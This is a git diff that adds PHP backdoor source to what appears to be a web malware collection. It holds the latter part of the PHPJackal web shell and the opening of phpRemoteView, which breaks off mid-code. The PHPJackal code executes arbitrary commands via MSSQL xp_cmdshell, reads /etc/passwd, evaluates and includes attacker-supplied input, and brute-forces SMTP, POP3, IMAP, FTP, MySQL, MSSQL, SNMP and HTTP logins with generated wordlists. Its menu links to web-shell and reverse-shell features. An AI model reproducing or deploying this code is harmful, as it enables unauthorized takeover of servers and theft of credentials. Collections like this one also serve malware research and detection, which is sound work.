isset($_REQUEST['pasS'])){ +$res=''; +$tb=uniqid('NJ'); +$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +mssql_select_db($_REQUEST['dB'],$db); +mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db); +mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db); +$re=mssql_query("select * from $tb",$db); +while(($row=mssql_fetch_row($re))) +{ +$res.= $row[0]."\r\n"; +} +mssql_query("drop table $tb",$db); +mssql_close($db); +echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>"; +} +$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd'; +$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root'; +$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456'; +$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test'; +echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$hcwd<input class=buttons type=submit value='Execute'></form>$et</center>"; +} +function crackeR(){ +global $t,$et,$crack,$cwd; +$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0; +if(!empty($_REQUEST['cracK']) && !$check){ +$c=htmlspecialchars($_REQUEST['cracK']); +echo "<center>$t$c cracker:$crack"; +} +elseif(!empty($_REQUEST['cracK']) && $check){ +$pro=strtolower($_REQUEST['cracK']).'checK'; +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>"; +} +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +$combo=(empty($_REQUEST['combo']))?0:1; +if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min=$_REQUEST['min']; +$max=$_REQUEST['max']; +if($max<$min)die($errorbox."Bad input!$et".$footer); +$s=$w=''; +$out=$_REQUEST['output']; +$r=$_REQUEST['range']; +$dic=fopen($out,'w'); +if($r==1){ +for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +} +} +else{ +$s=str_repeat($r,$min); +while(strlen($s)<$max){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++; +} +} +fclose($dic); +echo '<font color=blue>Done</font>'; +} +elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if(!$input){ +if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if($output){ +foreach($input as $in){ +$user=$in; +$user=trim(fgets($in)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if($output){ +while(!feof($input)){ +$user=trim(fgets($input)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +} +}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo '<font color=blue>Done</font>'; +}else{ +$temp=whereistmP().DIRECTORY_SEPARATOR; +echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";} +} +function ftpclienT(){ +global $t,$cwd,$hcwd,$errorbox,$et; +$td="<td bgcolor='#333333' width='50%'>"; +if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){ +$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT']; +$con=ftp_connect($_REQUEST['hosT'],21,10); +if($con){ +$ftp=ftp_login($con,$user,$pass); +if($ftp){ +if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']); +if(!empty($_REQUEST['filE'])){ +$file=$_REQUEST['filE']; +$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII; +if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode); +elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode); +elseif(isset($_REQUEST['rM'])){ +ftp_rmdir($con,$file); +ftp_delete($con,$file); +} +elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file); +} +$pwd=ftp_pwd($con); +$dir=ftp_nlist($con,''); +$d=opendir($cwd); +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td"; +foreach($dir as $n)echo "$n<br>"; +echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et"; +}else echo "$errorbox Wrong username or password$et"; +}else echo "$errorbox Can not connect to server!$et"; +} +else{ +echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value=admin@nasa.gov name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>"; +} +} +function calC(){ +global $t,$et,$hcwd; +$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev'); +if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +$to=$_REQUEST['to']; +echo "<center>${t}Output:<br><textarea rows='10' cols='64'>"; +if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i}))); +else echo $to($_REQUEST['input']); +echo "</textarea>$et</center><br>"; +} +echo "<center>${t}Convertor:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if($method=='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo '<font color=blue>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");} +} +} +echo 'Done!</font>'; +}else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>'; +} +function opensesS($name){ +$sess=file_get_contents($name); +$var=explode(';',$sess); +echo "<pre>Name\tType\tValue\r\n"; +foreach($var as $v){ +$t=explode('|',$v); +$c=explode(':',$t[1]); +$y=''; +if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null'; +echo $t[0]."\t$y\t".$c[1]."\r\n"; +} +echo '</pre>'; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> +<img src="http://flyphoto.us/images/shell.jpg"/> +<html> +<head> +<style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style> +<meta http-equiv="Content-Language" content="en-us"> +<script language="JavaScript" type="text/JavaScript"> +function HS(box){ +if(document.getElementById(box).style.display!="none"){ +document.getElementById(box).style.display="none"; +document.getElementById('lk').innerHTML="+"; +} +else{ +document.getElementById(box).style.display=""; +document.getElementById('lk').innerHTML="-"; +} +} +function chmoD($file){ +$ch=prompt("Changing file mode["+$file+"]: ex. 777",""); +if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch; +} +</script> +<title>PHPJackal [<?php echo $cwd; ?>]</title> +</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC"> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%"> +<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table> +<hr size=1 noshade> +<?php +if(!empty($_REQUEST['seC'])){ +switch($_REQUEST['seC']){ +case 'fm':filemanageR();break; +case 'sc':scanneR();break; +case 'phpinfo':phpinfo();break; +case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']); +if(!empty($_REQUEST['Save'])){ +$filehandle=fopen($_REQUEST['file'],'w'); +fwrite($filehandle,$_REQUEST['edited']); +fclose($filehandle);} +if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR(''); +break; +case 'openit':openiT($_REQUEST['namE']);break; +case 'cr':crackeR();break; +case 'dic':dicmakeR();break; +case 'tools':toolS();break; +case 'hex':hexvieW();break; +case 'img':showimagE($_REQUEST['filE']);break; +case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break; +case 'hc':hashcrackeR();break; +case 'fcr':formcrackeR();break; +case 'auth':authcrackeR();break; +case 'ftpc':ftpclienT();break; +case 'eval':phpevaL();break; +case 'snmp':snmpcrackeR();break; +case 'px':pr0xy();break; +case 'webshell':webshelL();break; +case 'mailer':maileR();break; +case 'br':brshelL();break; +case 'asm':safemodE();break; +case 'sqlcl':sqlclienT();break; +case 'calc':calC();break; +case 'sysinfo':sysinfO();break; +case 'checksum':checksuM($_REQUEST['filE']);break; +case 'logout':logouT();break; +default: echo $intro;}}else echo $intro; +echo $footer;?></body></html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/PHPRemoteView.txt b/web-malware-collection-master/Backdoors/PHP/PHPRemoteView.txt new file mode 100755 index 0000000..cddeaaf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PHPRemoteView.txt @@ -0,0 +1,1074 @@ +<?php + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * + * Welcome to phpRemoteView (RemView) + * + * View/Edit remove file system: + * - view index of directory (/var/log - view logs, /tmp - view PHP sessions) + * - view name, size, owner:group, perms, modify time of files + * - view html/txt/image/session files + * - download any file and open on Notepad + * - create/edit/delete file/dirs + * - executing any shell commands and any PHP-code + * + * Free download from http://php.spb.ru/remview/ + * Version 04c, 2003-10-23. + * Please, report bugs... + * + * This programm for Unix/Windows system and PHP4 (or higest). + * + * (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru + * + * * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * * + * + * --version4-- + * 2003.10.23 support short <?php ?> tags, thanks A.Voropay + * + * 2003.04.22 read first 64Kb of null-size file (example: /etc/zero), + * thanks Anight + * add many functions/converts: md5, decode md5 (pass crack), + * date/time, base64, translit, russian charsets + * fix bug: read session files + * + * 2002.08.24 new design and images + * many colums in panel + * sort & setup panel + * dir tree + * base64 encoding + * character map + * HTTP authentication with login/pass + * IP-address authentication with allow hosts + * + * --version3-- + * 2002.08.10 add multi language support (english and russian) + * some update + * + * 2002.08.05 new: full windows support + * fix some bugs, thanks Jeremy Flinston + * + * 2002.07.31 add file upload for create files + * add 'direcrory commands' + * view full info after safe_mode errors + * fixed problem with register_glogals=off in php.ini + * fixed problem with magic quotes in php.ini (auto strip slashes) + * + * --version2-- + * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands + * add panel 'TOOLS': eval php-code and run shell commands + * add copy/edit/create file (+panel 'EDIT') + * add only-read mode (disable write/delete and PHP/Shell) + * + * 2002.01.19 add delete/touch/clean/wipe file + * add panel 'INFO', view a/c/m-time, hexdump view + * add session file view mode (link 'SESSION'). + * + * 2002.01.12 first version! + * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +///////////////////////////////// S E T U P /////////////////////////////////// + + + $version="2003-10-23"; + + $hexdump_lines=8; // lines in hex preview file + $hexdump_rows=24; // 16, 24 or 32 bytes in one line + + $mkdir_mode=0755; // chmode for new dir ('MkDir' button) + + $maxsize_fread=65536; // read first 64Kb from any null-size file + + // USER ACCESS // + + $write_access=true; // true - user (you) may be write/delete files/dirs + // false - only read access + + $phpeval_access=true; // true - user (you) may be execute any php-code + // false - function eval() disable + + $system_access=true; // true - user (you) may be run shell commands + // false - function system() disable + + // AUTHORIZATION // + + $login=false; // Login & password for access to this programm. + $pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd"; + // Type 'login=false' for disable authorization. + + $host_allow=array("*"); // Type list of your(allow) hosts. All other - denied. + // Example: $host_allow=array("127.0.0.*","localhost") + + +/////////////////////////////////////////////////////////////////////////////// + + + $tmp=array(); + foreach ($host_allow as $k=>$v) + $tmp[]=str_replace("\\*",".*",preg_quote($v)); + $s="!^(".implode("|",$tmp).")$!i"; + if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n"); + if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || + $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) { + header("WWW-Authenticate: Basic realm=\"phpRemoteView\""); + header("HTTP/1.0 401 Unauthorized"); + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n"); + } + + error_reporting(2047); + set_magic_quotes_runtime(0); + @set_time_limit(0); + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler"); + + $self=basename($HTTP_SERVER_VARS['PHP_SELF']); + + $url="http://".getenv('HTTP_HOST'). + (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : ""). + $HTTP_SERVER_VARS['PHP_SELF']. + (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : ""); + $uurl=urlencode($url); + + // + // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars; + // + $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ". + "ftype fnot c2 confirm text df df2 df3 df4 ref from to ". + "fatt showfile showsize root name ref names sort sortby ". + "datetime fontname fontname2 fontsize pan limit convert fulltime fullqty"; + foreach (explode(" ",$autovars1) as $k=>$v) { + if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; + elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; + //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; + } + + // + // autofix 'magic quotes': + // + $autovars2="php shell text d root convert"; + if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) { + foreach 